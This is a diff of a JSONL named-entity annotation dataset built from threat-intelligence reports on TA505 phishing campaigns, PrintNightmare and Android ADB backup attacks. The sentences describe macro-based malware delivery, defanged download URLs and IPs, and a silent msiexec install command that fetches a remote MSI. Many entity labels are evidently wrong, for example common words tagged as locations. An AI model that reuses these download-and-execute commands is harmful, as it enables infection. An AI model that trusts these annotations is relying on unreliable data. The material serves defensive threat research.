-{"id":7729,"text":"More typical TA505 campaigns, with old and new targets","entities":[{"id":23999,"label":"APT","start_offset":13,"end_offset":18},{"id":24000,"label":"location","start_offset":39,"end_offset":42}],"relations":[],"Comments":[]}
-{"id":7730,"text":"The group's more typical payload and routine involves the use of ServHelper and FlawedAmmy RAT and attaching a document embedded with malicious commands and strings.","entities":[{"id":24001,"label":"location","start_offset":33,"end_offset":36},{"id":24003,"label":"location","start_offset":76,"end_offset":79},{"id":24005,"label":"location","start_offset":95,"end_offset":98},{"id":24006,"label":"location","start_offset":153,"end_offset":156}],"relations":[],"Comments":[]}
-{"id":7731,"text":"One variant targets Serbian banks with subjects pertaining to “payments” or “invoices” applicable in several European languages.","entities":[{"id":24009,"label":"location","start_offset":28,"end_offset":33}],"relations":[],"Comments":[]}
+{"id":7729,"text":"More typical TA505 campaigns, with old and new targets","entities":[{"id":23999,"label":"threat-actor","start_offset":13,"end_offset":18},{"id":24000,"label":"location","start_offset":39,"end_offset":42}],"relations":[],"Comments":[]}
 {"id":7732,"text":"Enabling the macros of the Excel file downloads a file created using NSIS installer with ServHelper from 79[.]141[.]168[.]105 or 195[.]123[.]213[.]126.","entities":[{"id":24012,"label":"malware","start_offset":69,"end_offset":73},{"id":24013,"label":"tools","start_offset":89,"end_offset":99},{"id":24014,"label":"IPV4","start_offset":105,"end_offset":125},{"id":24015,"label":"IPV4","start_offset":129,"end_offset":150}],"relations":[],"Comments":[]}
-{"id":7733,"text":"We found another routine from a campaign targeting government agencies in Saudi Arabia, Oman, and Qatar with another type of .XLS or .DOC attachment.","entities":[{"id":24016,"label":"location","start_offset":32,"end_offset":40},{"id":24019,"label":"location","start_offset":94,"end_offset":97},{"id":24021,"label":"location","start_offset":117,"end_offset":121}],"relations":[],"Comments":[]}
 {"id":7734,"text":"The emails used in these campaigns used subjects pertaining to finance or urgent concerns on insurance policies.","entities":[],"relations":[],"Comments":[]}
-{"id":7735,"text":"A similar campaign targeting Turkish educational and government institutions used email subjects pertaining to invoice information or personnel payroll, and Visual Basic for Applications (VBA) .XLS or VBA .DOC macros.","entities":[{"id":24022,"label":"location","start_offset":10,"end_offset":18},{"id":24024,"label":"location","start_offset":49,"end_offset":52},{"id":24025,"label":"location","start_offset":153,"end_offset":156}],"relations":[],"Comments":[]}
 {"id":7736,"text":"Similar to the routine variant in Figure 6, the Excel VBA macros retrieve the FlawedAmmyy downloader from hxxp:\/\/195[.]123[.]245[.]185\/r1 or hxxp:\/\/185[.]225[.]17[.]5\/r1, in then decrypts and executes FlawedAmmyy RAT from hxxp:\/\/185[.]225[.]17[.]5\/2.dat or hxxp:\/\/195[.]123[.]245[.]185\/1.dat.","entities":[{"id":24027,"label":"location","start_offset":48,"end_offset":53},{"id":24028,"label":"malware","start_offset":78,"end_offset":89},{"id":24029,"label":"location","start_offset":188,"end_offset":191},{"id":24030,"label":"malware","start_offset":201,"end_offset":212}],"relations":[],"Comments":[]}
 {"id":7737,"text":"Meanwhile, the .DOC VBA macros retrieves the MSI files from hxxp:\/\/195.123.245.185\/km or hxxp:\/\/185.225.17.5\/km, which executes the NSIS installer for ServHelper installation.","entities":[{"id":24031,"label":"malware","start_offset":132,"end_offset":136},{"id":24032,"label":"tools","start_offset":151,"end_offset":161}],"relations":[],"Comments":[]}
-{"id":7738,"text":"Similar to one of the routines depicted in Figure 9, the group also reused one of the email samples but changed the targets to India and the United States, and added content referring to invoices.","entities":[{"id":24033,"label":"location","start_offset":11,"end_offset":14},{"id":24035,"label":"location","start_offset":75,"end_offset":78},{"id":24037,"label":"location","start_offset":133,"end_offset":136},{"id":24039,"label":"location","start_offset":156,"end_offset":159},{"id":24040,"label":"location","start_offset":166,"end_offset":173}],"relations":[],"Comments":[]}
-{"id":7739,"text":"The email may contain different documents, but the URLs for downloading ServHelper as the payload remain the same.","entities":[{"id":24041,"label":"location","start_offset":10,"end_offset":13},{"id":24043,"label":"location","start_offset":109,"end_offset":113}],"relations":[],"Comments":[]}
 {"id":7740,"text":"Figure 14.","entities":[],"relations":[],"Comments":[]}
 {"id":7741,"text":"One of the more typical techniques employed by TA505. .DLL downloaders that deliver FlawedAmmyy and newly styled macros","entities":[{"id":24047,"label":"tools","start_offset":84,"end_offset":95},{"id":24048,"label":"location","start_offset":96,"end_offset":99}],"relations":[],"Comments":[]}
-{"id":7742,"text":"In the first week of August, we noticed the group using a different approach and style to fetch the downloaders via macros.","entities":[{"id":24050,"label":"location","start_offset":77,"end_offset":80}],"relations":[],"Comments":[]}
 {"id":7743,"text":"While FlawedAmmyy RAT was still the final payload, the downloader was different — this operation used a .DLL variant.","entities":[{"id":24051,"label":"malware","start_offset":6,"end_offset":17}],"relations":[],"Comments":[]}
-{"id":7744,"text":"This particular campaign targeted Canada with subjects asking for confirmation of numbers from the marketing department.","entities":[{"id":24052,"label":"location","start_offset":16,"end_offset":24}],"relations":[],"Comments":[]}
 {"id":7745,"text":"Figure 15.","entities":[],"relations":[],"Comments":[]}
 {"id":7746,"text":"Infection chain with .DLL FlawedAmmyy downloader","entities":[{"id":24055,"label":"malware","start_offset":26,"end_offset":37}],"relations":[],"Comments":[]}
 {"id":7747,"text":"The attached document asks the user to enable the macros, which creates an Internet Explorer object instance.","entities":[],"relations":[],"Comments":[]}
-{"id":7748,"text":"This loads a text file from a hardcoded website, wherein the content of the document file is parsed through and the inner text of the document is loaded.","entities":[{"id":24056,"label":"location","start_offset":61,"end_offset":68},{"id":24057,"label":"location","start_offset":108,"end_offset":111}],"relations":[],"Comments":[]}
-{"id":7749,"text":"Our analysis showed that this is likely done so the malicious file can bypass some firewall rules, since the communication uses Internet Explorer.","entities":[{"id":24058,"label":"location","start_offset":33,"end_offset":39},{"id":24059,"label":"location","start_offset":67,"end_offset":70}],"relations":[],"Comments":[]}
 {"id":7750,"text":"Figure 16.","entities":[],"relations":[],"Comments":[]}
-{"id":7751,"text":"Sample document with malicious macros.","entities":[{"id":24061,"label":"location","start_offset":0,"end_offset":6}],"relations":[],"Comments":[]}
 {"id":7752,"text":"Figure 17.","entities":[],"relations":[],"Comments":[]}
 {"id":7753,"text":"Text file using Internet Explorer for communication to bypass firewall rules.","entities":[],"relations":[],"Comments":[]}
 {"id":7754,"text":"The downloaded file is a text file with a single number on each line.","entities":[],"relations":[],"Comments":[]}
 {"id":7755,"text":"The macros process the downloaded payload with each number encrypted in XOR with a constant hardcoded value of 106.","entities":[],"relations":[],"Comments":[]}
-{"id":7756,"text":"The result is an executable file written to the disc and executed.","entities":[{"id":24064,"label":"location","start_offset":53,"end_offset":56}],"relations":[],"Comments":[]}
 {"id":7757,"text":" Figure 18.","entities":[],"relations":[],"Comments":[]}
-{"id":7758,"text":"Executable file written to disk and executed The executed .DLL is packed using two layers: a custom packer for the first stage and UPX (Ultimate Packer for Executables) for the second stage.","entities":[{"id":24066,"label":"location","start_offset":32,"end_offset":35},{"id":24069,"label":"location","start_offset":127,"end_offset":130}],"relations":[],"Comments":[]}
 {"id":7759,"text":"The unpacked payload in memory is also a .DLL — it's the first time we've seen a FlawedAmmyy downloader as a .DLL.","entities":[{"id":24072,"label":"location","start_offset":63,"end_offset":67},{"id":24073,"label":"malware","start_offset":81,"end_offset":92}],"relations":[],"Comments":[]}
 {"id":7760,"text":"As we further analyzed the main behavior by downloading the encrypted FlawedAmmyy RAT and decrypted it with RC4, we found that it was similar to the previous campaigns, but with a few updates.","entities":[{"id":24074,"label":"malware","start_offset":70,"end_offset":81},{"id":24075,"label":"location","start_offset":86,"end_offset":89}],"relations":[],"Comments":[]}
 {"id":7761,"text":"The first update is the use of the socket API to send an HTTP request instead of wininet or winhttp API to download an encrypted FlawedAmmyy, building an HTTP header by itself.","entities":[{"id":24077,"label":"malware","start_offset":129,"end_offset":140}],"relations":[],"Comments":[]}
@@ -7764,347 +6495,124 @@
 {"id":7764,"text":"Send HTTP request using socket API","entities":[],"relations":[],"Comments":[]}
 {"id":7765,"text":"The second change: The decrypted FlawedAmmyy RAT is now saved as dllhots.exe in C:\\temp\\ (it used to be saved as wsus.exe).","entities":[{"id":24083,"label":"malware","start_offset":33,"end_offset":44}],"relations":[],"Comments":[]}
 {"id":7766,"text":"Lastly, this new FlawedAmmyy downloader overwrites some PE header members with random values.","entities":[{"id":24084,"label":"malware","start_offset":17,"end_offset":28}],"relations":[],"Comments":[]}
-{"id":7767,"text":"Specifically, it overwrites the checksum, the address of relocation table in DOS header, and the checksum in optional headers.","entities":[{"id":24085,"label":"location","start_offset":89,"end_offset":92}],"relations":[],"Comments":[]}
 {"id":7768,"text":" Figure 20.","entities":[],"relations":[],"Comments":[]}
 {"id":7769,"text":"Original PE header members (left) vs. overwritten header members (right)","entities":[],"relations":[],"Comments":[]}
 {"id":7770,"text":"The decrypted FlawedAmmyy RAT slightly different from the one that TA505 reused over its past campaigns.","entities":[{"id":24087,"label":"malware","start_offset":14,"end_offset":25},{"id":24088,"label":"location","start_offset":58,"end_offset":61}],"relations":[],"Comments":[]}
 {"id":7771,"text":"While the previous strings had the modified AmmyyAdmin binary since the source code was leaked, TA505 changed the strings in this sample to PopssAdmin.","entities":[{"id":24090,"label":"attack-pattern","start_offset":72,"end_offset":78},{"id":24092,"label":"location","start_offset":130,"end_offset":136}],"relations":[],"Comments":[]}
-{"id":7772,"text":"This may bypass detection rules if the systems’ lists were not updated.","entities":[{"id":24093,"label":"location","start_offset":5,"end_offset":8}],"relations":[],"Comments":[]}
 {"id":7773,"text":" Figure 21.","entities":[],"relations":[],"Comments":[]}
 {"id":7774,"text":"Significant changes in the binary","entities":[],"relations":[],"Comments":[]}
-{"id":7775,"text":"In another sample targeting South Korea, the difference with the previous case is the XOR encryption hardcoded at 180.","entities":[{"id":24095,"label":"location","start_offset":11,"end_offset":17},{"id":24097,"label":"location","start_offset":74,"end_offset":78}],"relations":[],"Comments":[]}
 {"id":7776,"text":"We also found that the file delivered is an .MSI executable containing the same .DLL FlawedAmmyy downloader.","entities":[{"id":24099,"label":"location","start_offset":75,"end_offset":79},{"id":24100,"label":"malware","start_offset":85,"end_offset":96}],"relations":[],"Comments":[]}
-{"id":7777,"text":"From the document embedded with the malicious macros, the macro code calls “Run” on the WScript.Shell object.","entities":[{"id":24101,"label":"location","start_offset":96,"end_offset":101}],"relations":[],"Comments":[]}
-{"id":7778,"text":"Most of the strings forming the final command are stored in the “Tag” properties of a form embedded in the document.","entities":[{"id":24102,"label":"location","start_offset":0,"end_offset":4},{"id":24103,"label":"location","start_offset":46,"end_offset":49}],"relations":[],"Comments":[]}
-{"id":7779,"text":" Figure 22. Sample document in Korean asking the user to enable the macros.","entities":[{"id":24105,"label":"location","start_offset":12,"end_offset":18}],"relations":[],"Comments":[]}
 {"id":7780,"text":" Figure 23.","entities":[],"relations":[],"Comments":[]}
 {"id":7781,"text":"Final command strings in document’s “tag” properties.","entities":[],"relations":[],"Comments":[]}
 {"id":7782,"text":"The final command executes the download and installation of the .MSI file into C:\\Windows\\System32\\msiexec.exe\" back=13 error=continue \/i http:\/\/92[.]38[.]135[.]99\/99.msi \/q OnLoad=\"c:\\windows\\notepad.exe  Figure 24.","entities":[{"id":24108,"label":"location","start_offset":40,"end_offset":43},{"id":24109,"label":"URL","start_offset":138,"end_offset":170}],"relations":[],"Comments":[]}
 {"id":7783,"text":".MSI file installed in the system","entities":[],"relations":[],"Comments":[]}
-{"id":7784,"text":"From the parameters above, “\/i” means install, “\/q” means quiet.","entities":[{"id":24111,"label":"location","start_offset":32,"end_offset":37},{"id":24112,"label":"location","start_offset":52,"end_offset":57}],"relations":[],"Comments":[]}
 {"id":7785,"text":"The other three parameters do not appear to be used at all, as reported in the install log (by adding \/L*V \"C:\\example.log\" parameter).","entities":[],"relations":[],"Comments":[]}
 {"id":7786,"text":"The .MSI file is a downloader with the .DLL FlawedAmmyy downloader inside; it retrieves the final payload, then decrypts and executes FlawedAmmyy RAT.","entities":[{"id":24114,"label":"malware","start_offset":44,"end_offset":55},{"id":24115,"label":"location","start_offset":121,"end_offset":124},{"id":24116,"label":"malware","start_offset":134,"end_offset":145}],"relations":[],"Comments":[]}
 {"id":7787,"text":"Figure 25.","entities":[],"relations":[],"Comments":[]}
 {"id":7788,"text":"Unused parameters from","entities":[],"relations":[],"Comments":[]}
 {"id":7789,"text":"log","entities":[],"relations":[],"Comments":[]}
-{"id":7790,"text":"Around the second week of August, we found a campaign targeting banks in the Czech Republic with subjects pertaining to credit and NAV transfer.","entities":[{"id":24119,"label":"location","start_offset":45,"end_offset":53},{"id":24120,"label":"location","start_offset":64,"end_offset":69},{"id":24122,"label":"location","start_offset":127,"end_offset":130},{"id":24123,"label":"location","start_offset":135,"end_offset":143}],"relations":[],"Comments":[]}
-{"id":7791,"text":"Analysis of the samples revealed that the document and macro style was similar to the Korean campaign that used.MSI files, but this campaign downloads from hxxp:\/\/185[.]17[.]122[.]220\/555.msi or hxxp:\/\/159[.]69[.]54[.]146\/555.msi.","entities":[{"id":24124,"label":"location","start_offset":51,"end_offset":54},{"id":24126,"label":"location","start_offset":93,"end_offset":101},{"id":24127,"label":"location","start_offset":132,"end_offset":140}],"relations":[],"Comments":[]}
 {"id":7792,"text":"This .MSI file delivers the NSIS-packed ServHelper, and the binary shares the same C&C server as the campaign targeting Saudi Arabia, Oman, Qatar, and Turkey.","entities":[{"id":24128,"label":"malware","start_offset":28,"end_offset":32},{"id":24130,"label":"location","start_offset":52,"end_offset":55},{"id":24131,"label":"location","start_offset":78,"end_offset":82},{"id":24132,"label":"location","start_offset":101,"end_offset":109},{"id":24136,"label":"location","start_offset":147,"end_offset":150}],"relations":[],"Comments":[]}
 {"id":7793,"text":"Suspicious activity using ServHelper A campaign targeting China spoofed FedEx-themed emails with subjects pertaining to delivery problems, failures, or notifications.","entities":[{"id":24138,"label":"malware","start_offset":26,"end_offset":36},{"id":24139,"label":"location","start_offset":39,"end_offset":47}],"relations":[],"Comments":[]}
 {"id":7794,"text":"Instead of attachments, it had malicious URLs in the message content that lead to the download of a malicious document named fedex.doc from hxxp:\/\/www.fedexdocs[.]top\/fedex.doc or hxxp:\/\/www.fedexdocs[.]icu\/fedex.doc.","entities":[{"id":24142,"label":"location","start_offset":61,"end_offset":68},{"id":24143,"label":"threat-actor","start_offset":74,"end_offset":78}],"relations":[],"Comments":[]}
 {"id":7795,"text":"The VBA macro in the document downloads an NSIS-packed executable from hxxps:\/\/senddocs[.]icu\/stelar.exe, which installs ServHelper.","entities":[{"id":24144,"label":"malware","start_offset":43,"end_offset":47},{"id":24145,"label":"tools","start_offset":121,"end_offset":131}],"relations":[],"Comments":[]}
 {"id":7796,"text":"However, while initial analysis of the macro it used made us believe that this was from TA505, the macros’ obfuscation and style turned out to be more similar to the ones described in this post, based on the code page, senders, and fast flux.","entities":[{"id":24146,"label":"location","start_offset":53,"end_offset":57},{"id":24148,"label":"location","start_offset":119,"end_offset":122},{"id":24149,"label":"location","start_offset":189,"end_offset":193},{"id":24150,"label":"malware","start_offset":213,"end_offset":217},{"id":24151,"label":"location","start_offset":228,"end_offset":231}],"relations":[],"Comments":[]}
-{"id":7797,"text":"This particular campaign did not match TA505’s technique.","entities":[{"id":24152,"label":"location","start_offset":16,"end_offset":24}],"relations":[],"Comments":[]}
-{"id":7798,"text":"Thus we suspect that other cybercriminals purchased or borrowed ServHelper from the underground market for this campaign.","entities":[{"id":24155,"label":"location","start_offset":96,"end_offset":102},{"id":24156,"label":"location","start_offset":112,"end_offset":120}],"relations":[],"Comments":[]}
 {"id":7799,"text":"Conclusion","entities":[],"relations":[],"Comments":[]}
-{"id":7800,"text":"A number of ServHelper samples can be found in the wild, but some do not appear to be attributed to TA505.","entities":[{"id":24158,"label":"location","start_offset":31,"end_offset":34}],"relations":[],"Comments":[]}
-{"id":7801,"text":"One such sample (reported by a researcher that used the Twitter handle James_inthe_box), delivered Remcos, seemingly with a TA505 pattern.","entities":[{"id":24161,"label":"location","start_offset":9,"end_offset":15}],"relations":[],"Comments":[]}
-{"id":7802,"text":"However, we think it may be more likely that ServHelper is sold to other malicious actors and tested on possible targets.","entities":[{"id":24165,"label":"location","start_offset":21,"end_offset":24},{"id":24166,"label":"location","start_offset":33,"end_offset":39},{"id":24168,"label":"location","start_offset":90,"end_offset":93}],"relations":[],"Comments":[]}
-{"id":7803,"text":"In the long run, as more changes are added to the malware, this can make attribution to specific groups more difficult.","entities":[{"id":24169,"label":"location","start_offset":7,"end_offset":11},{"id":24170,"label":"location","start_offset":33,"end_offset":36},{"id":24171,"label":"location","start_offset":64,"end_offset":67}],"relations":[],"Comments":[]}
-{"id":7804,"text":"The changes and adjustments that TA505 made from the original ServHelper and FlawedAmmyy routines may indicate that the group is experimenting and testing to determine which forms of obfuscation can bypass detections, resulting in more financial returns.","entities":[{"id":24172,"label":"location","start_offset":12,"end_offset":15},{"id":24174,"label":"location","start_offset":39,"end_offset":43},{"id":24176,"label":"location","start_offset":73,"end_offset":76},{"id":24178,"label":"location","start_offset":98,"end_offset":101},{"id":24179,"label":"location","start_offset":143,"end_offset":146},{"id":24180,"label":"location","start_offset":195,"end_offset":198}],"relations":[],"Comments":[]}
-{"id":7805,"text":"It's also possible that the changes in target countries and industries are driven by the group’s customers; targeting new victims and even returning to previously targeted countries and organizations with new techniques.","entities":[{"id":24181,"label":"location","start_offset":39,"end_offset":45},{"id":24182,"label":"location","start_offset":56,"end_offset":59},{"id":24183,"label":"location","start_offset":71,"end_offset":74},{"id":24184,"label":"location","start_offset":130,"end_offset":133},{"id":24185,"label":"location","start_offset":182,"end_offset":185}],"relations":[],"Comments":[]}
-{"id":7806,"text":"This also gives TA505 more data on which types of files can be further used for detection evasion, or even to deter attribution.","entities":[{"id":24187,"label":"location","start_offset":56,"end_offset":59}],"relations":[],"Comments":[]}
-{"id":7807,"text":"Given the frequency of changes in routines and deployment from our previous articles, we can expect TA505 to come up with more methods for payload delivery, malware types, and combinations of previously used and new routines.","entities":[{"id":24188,"label":"location","start_offset":0,"end_offset":5},{"id":24189,"label":"location","start_offset":43,"end_offset":46},{"id":24190,"label":"location","start_offset":89,"end_offset":92},{"id":24192,"label":"location","start_offset":172,"end_offset":175},{"id":24193,"label":"location","start_offset":208,"end_offset":211}],"relations":[],"Comments":[]}
-{"id":7808,"text":"Further, as the malware is still being upgraded, more iterations can be expected in the future.","entities":[{"id":24194,"label":"location","start_offset":65,"end_offset":68}],"relations":[],"Comments":[]}
-{"id":7809,"text":"If not removed completely, malicious actors can still take control of computers, peripherals, sensitive information, and proprietary data.","entities":[{"id":24195,"label":"location","start_offset":44,"end_offset":47},{"id":24196,"label":"location","start_offset":117,"end_offset":120}],"relations":[],"Comments":[]}
 {"id":7810,"text":"As they continue to target businesses in different sectors, we can expect TA505 to keep using phishing and social engineering techniques to compromise systems.","entities":[{"id":24197,"label":"location","start_offset":20,"end_offset":26},{"id":24198,"label":"location","start_offset":63,"end_offset":66},{"id":24200,"label":"attack-pattern","start_offset":94,"end_offset":102},{"id":24201,"label":"location","start_offset":103,"end_offset":106}],"relations":[],"Comments":[]}
-{"id":7811,"text":"Enterprises are advised to strengthen their online systems, especially email gateways.","entities":[{"id":24202,"label":"location","start_offset":12,"end_offset":15}],"relations":[],"Comments":[]}
-{"id":7812,"text":"Enforce the principle of least privilege, as well as a patch management and system update procedure to make sure the entire network is protected.","entities":[{"id":24203,"label":"location","start_offset":72,"end_offset":75}],"relations":[],"Comments":[]}
-{"id":7813,"text":"Install redundant and multilayered protection systems from the gateway to the endpoint that can detect and block malicious URLS, emails, and attachments, as well as proactively monitor other possible attack vectors.","entities":[{"id":24204,"label":"location","start_offset":18,"end_offset":21},{"id":24205,"label":"location","start_offset":35,"end_offset":45},{"id":24206,"label":"location","start_offset":63,"end_offset":70},{"id":24207,"label":"location","start_offset":92,"end_offset":95},{"id":24208,"label":"location","start_offset":103,"end_offset":106},{"id":24209,"label":"location","start_offset":137,"end_offset":140},{"id":24210,"label":"location","start_offset":177,"end_offset":184}],"relations":[],"Comments":[]}
-{"id":7814,"text":"Enterprises can consider Trend Micro™ endpoint solutions such as Trend Micro Smart Protection Suites and Worry-Free™ Business Security.","entities":[{"id":24211,"label":"location","start_offset":12,"end_offset":15},{"id":24214,"label":"location","start_offset":83,"end_offset":93},{"id":24215,"label":"location","start_offset":101,"end_offset":104},{"id":24216,"label":"location","start_offset":126,"end_offset":134}],"relations":[],"Comments":[]}
-{"id":7815,"text":"Both solutions can protect users and businesses from threats by detecting malicious files and spammed messages as well as blocking all related malicious URLs.","entities":[{"id":24217,"label":"location","start_offset":15,"end_offset":18},{"id":24218,"label":"location","start_offset":33,"end_offset":36},{"id":24219,"label":"location","start_offset":90,"end_offset":93}],"relations":[],"Comments":[]}
-{"id":7816,"text":"Trend Micro Deep Discovery™ has an email inspection layer that can protect enterprises by detecting malicious attachments and URLs.","entities":[{"id":24221,"label":"location","start_offset":63,"end_offset":66},{"id":24222,"label":"location","start_offset":122,"end_offset":125}],"relations":[],"Comments":[]}
 {"id":7817,"text":"Trend Micro™ Hosted Email Security is a no-maintenance cloud solution that delivers continuously updated protection to stop spam, malware, spear phishing, ransomware, and advanced targeted attacks before they reach the network.","entities":[{"id":24223,"label":"location","start_offset":6,"end_offset":11},{"id":24224,"label":"location","start_offset":26,"end_offset":34},{"id":24225,"label":"location","start_offset":55,"end_offset":60},{"id":24226,"label":"location","start_offset":105,"end_offset":115},{"id":24227,"label":"location","start_offset":119,"end_offset":123},{"id":24228,"label":"attack-pattern","start_offset":139,"end_offset":153},{"id":24229,"label":"location","start_offset":167,"end_offset":170}],"relations":[],"Comments":[]}
-{"id":7818,"text":"It protects Microsoft Exchange, Microsoft Office 365, Google Apps, and other hosted and on-premises email solutions.","entities":[{"id":24235,"label":"location","start_offset":67,"end_offset":70},{"id":24236,"label":"location","start_offset":84,"end_offset":87}],"relations":[],"Comments":[]}
-{"id":7819,"text":"The indicators of compromise (IoCs) related to these campaigns we observed are in this appendix.","entities":[{"id":24237,"label":"location","start_offset":75,"end_offset":78}],"relations":[],"Comments":[]}
-{"id":7820,"text":"       Tags  Malware | APT & Targeted Attacks | Research | Network | Cyber Threats","entities":[{"id":24238,"label":"location","start_offset":23,"end_offset":26}],"relations":[],"Comments":[]}
-{"id":7821,"text":"This post is also available in:      日本語 (Japanese)  On July 1, 2021, Microsoft released a security advisory for a new remote code execution (RCE) vulnerability in Windows, CVE-2021-34527, referred to publicly as \"PrintNightmare.”","entities":[{"id":24239,"label":"location","start_offset":5,"end_offset":9},{"id":24243,"label":"location","start_offset":91,"end_offset":99},{"id":24244,"label":"location","start_offset":119,"end_offset":125}],"relations":[],"Comments":[]}
-{"id":7822,"text":"Security researchers initially believed this vulnerability to be tied to CVE-2021-1675 (Windows Print Spooler Remote Code Execution Vulnerability), which was first disclosed in the Microsoft Patch Tuesday release on June 8, 2021.","entities":[{"id":24245,"label":"location","start_offset":0,"end_offset":8},{"id":24246,"label":"location","start_offset":110,"end_offset":116}],"relations":[],"Comments":[]}
 {"id":7823,"text":"Microsoft has since updated the FAQ section of the advisory that shows CVE-2021-34527 is similar but distinct from CVE-2021-1675, which addresses a different but related vulnerability in RpcAddPrinterDriverEx().","entities":[{"id":24249,"label":"identity","start_offset":0,"end_offset":9},{"id":24250,"label":"location","start_offset":36,"end_offset":43}],"relations":[],"Comments":[]}
-{"id":7824,"text":" All Windows versions are affected by this vulnerability.","entities":[{"id":24251,"label":"location","start_offset":22,"end_offset":25}],"relations":[],"Comments":[]}
-{"id":7825,"text":"Domain controllers, clients and member servers running the Print Spooler service on any Windows version are affected by this vulnerability.","entities":[{"id":24252,"label":"location","start_offset":28,"end_offset":31},{"id":24253,"label":"location","start_offset":104,"end_offset":107}],"relations":[],"Comments":[]}
-{"id":7826,"text":"Microsoft has released an out-of-band update with the fixes for versions other than Windows 10 version 1607, Windows Server 2016 or Windows Server 2012.","entities":[{"id":24255,"label":"location","start_offset":103,"end_offset":107}],"relations":[],"Comments":[]}
-{"id":7827,"text":"For these, the security update is expected to be released soon.","entities":[{"id":24258,"label":"location","start_offset":15,"end_offset":23}],"relations":[],"Comments":[]}
-{"id":7828,"text":" Microsoft released an out-of-band security update to address this vulnerability on July 6, 2021.","entities":[{"id":24260,"label":"location","start_offset":35,"end_offset":43}],"relations":[],"Comments":[]}
-{"id":7829,"text":"Please see the Security Updates table for the applicable update for your system.","entities":[{"id":24262,"label":"location","start_offset":15,"end_offset":23}],"relations":[],"Comments":[]}
-{"id":7830,"text":"Administrators are strongly advised to install these updates.","entities":[{"id":24263,"label":"location","start_offset":15,"end_offset":18}],"relations":[],"Comments":[]}
-{"id":7831,"text":"If you are unable to install these updates, see the FAQ and Workarounds sections in the CVE for information on how to help protect your system from this vulnerability.","entities":[{"id":24264,"label":"location","start_offset":7,"end_offset":10},{"id":24265,"label":"location","start_offset":56,"end_offset":59}],"relations":[],"Comments":[]}
-{"id":7832,"text":"See also KB5005010: Restricting installation of new printer drivers after applying the July 6, 2021 updates.","entities":[{"id":24267,"label":"location","start_offset":52,"end_offset":59},{"id":24268,"label":"location","start_offset":60,"end_offset":67}],"relations":[],"Comments":[]}
-{"id":7833,"text":"Note that the security updates released on and after July 6, 2021, contain protections for CVE-2021-1675 and the additional RCE exploit in the Windows Print Spooler service known as “PrintNightmare,” documented in CVE-2021-34527.","entities":[{"id":24270,"label":"location","start_offset":14,"end_offset":22},{"id":24271,"label":"location","start_offset":43,"end_offset":46},{"id":24273,"label":"location","start_offset":105,"end_offset":108}],"relations":[],"Comments":[]}
-{"id":7834,"text":" Palo Alto Networks provides protection against the exploitation of this vulnerability:  Palo Alto Networks will update this Threat Brief with new information and recommendations as they become available.  Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!  Please mark, I'm not a robot!  By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.  ","entities":[{"id":24275,"label":"location","start_offset":29,"end_offset":39},{"id":24277,"label":"location","start_offset":108,"end_offset":112},{"id":24279,"label":"location","start_offset":159,"end_offset":162},{"id":24280,"label":"location","start_offset":268,"end_offset":271},{"id":24281,"label":"location","start_offset":297,"end_offset":302},{"id":24282,"label":"location","start_offset":331,"end_offset":335},{"id":24283,"label":"location","start_offset":410,"end_offset":413}],"relations":[],"Comments":[]}
 {"id":7835,"text":"Today, Palo Alto Networks researcher Claud Xiao is delivering a presentation titled “Insecure Internal Storage in Android” at the Hacks in Taiwan Conference (HITCON).  Claud is discussing techniques for accessing private data in Android’s internal storage system using the Android Debug Bridge (ADB) backup\/restore functionality.","entities":[],"relations":[],"Comments":[]}
-{"id":7836,"text":"While over 85% of active Android devices are vulnerable to this attack, Android includes multiple levels of protection to prevent unauthorized data access.","entities":[{"id":24291,"label":"location","start_offset":41,"end_offset":44},{"id":24292,"label":"location","start_offset":98,"end_offset":104},{"id":24293,"label":"location","start_offset":108,"end_offset":118}],"relations":[],"Comments":[]}
-{"id":7837,"text":"In today’s presentation, Claud will have demonstrated how an attacker could bypass all of those protections to gain access to usernames, passwords and a treasure trove of other data.","entities":[{"id":24296,"label":"location","start_offset":31,"end_offset":35},{"id":24297,"label":"location","start_offset":147,"end_offset":150},{"id":24298,"label":"location","start_offset":153,"end_offset":161}],"relations":[],"Comments":[]}
-{"id":7838,"text":" To understand this attack, it’s critical to understand how applications use Android internal storage and why unauthorized access to this data is so problematic.  ","entities":[{"id":24299,"label":"location","start_offset":102,"end_offset":105}],"relations":[],"Comments":[]}
-{"id":7839,"text":"The Android operating system provides a mechanism for applications to store information that is isolated to their specific application; this area is called “internal storage.”  If an application needs to store something secret, like a website username and password, internal storage is the place to do it.","entities":[{"id":24300,"label":"location","start_offset":252,"end_offset":255}],"relations":[],"Comments":[]}
-{"id":7840,"text":"As the Android sandbox prevents other applications from accessing this data, many developers have chosen to store secret information here without any additional encryption in place.","entities":[{"id":24301,"label":"location","start_offset":77,"end_offset":81}],"relations":[],"Comments":[]}
-{"id":7841,"text":" This first became a cause for concern in 2010 when users reported that the default e-mail application stored credentials in plain text.","entities":[{"id":24303,"label":"location","start_offset":125,"end_offset":130}],"relations":[],"Comments":[]}
-{"id":7842,"text":"At that time, the Android development team explained that the security of the internal storage system prevented unauthorized access, and that there were many good reasons not to encrypt stored e-mail passwords.","entities":[{"id":24304,"label":"location","start_offset":8,"end_offset":12},{"id":24305,"label":"location","start_offset":62,"end_offset":70},{"id":24306,"label":"location","start_offset":133,"end_offset":136},{"id":24307,"label":"location","start_offset":153,"end_offset":157},{"id":24308,"label":"location","start_offset":158,"end_offset":162}],"relations":[],"Comments":[]}
-{"id":7843,"text":"The primary reason is usability, as any strong encryption of the password would require the user to type the decryption password each time they needed to access the e-mail password, defeating the purpose of storing a password in the first place.","entities":[{"id":24309,"label":"location","start_offset":40,"end_offset":46},{"id":24310,"label":"location","start_offset":100,"end_offset":104},{"id":24311,"label":"location","start_offset":134,"end_offset":138}],"relations":[],"Comments":[]}
 {"id":7844,"text":" While there is still debate about how to store passwords in internal storage, if Android internal storage isn’t accessible to anything but the application that owns it, it remains secure.","entities":[],"relations":[],"Comments":[]}
-{"id":7845,"text":"Unfortunately, that isn’t always the case.","entities":[{"id":24314,"label":"location","start_offset":37,"end_offset":41}],"relations":[],"Comments":[]}
-{"id":7846,"text":" The ADB provides users a mechanism for attaching their phone to a PC or other device and issuing commands.","entities":[{"id":24315,"label":"location","start_offset":86,"end_offset":89}],"relations":[],"Comments":[]}
-{"id":7847,"text":"This includes backup and restore functionality, which allows the user to copy data from the phone to the PC and vice versa, including data contained in internal storage.","entities":[{"id":24316,"label":"location","start_offset":21,"end_offset":24},{"id":24317,"label":"location","start_offset":108,"end_offset":111}],"relations":[],"Comments":[]}
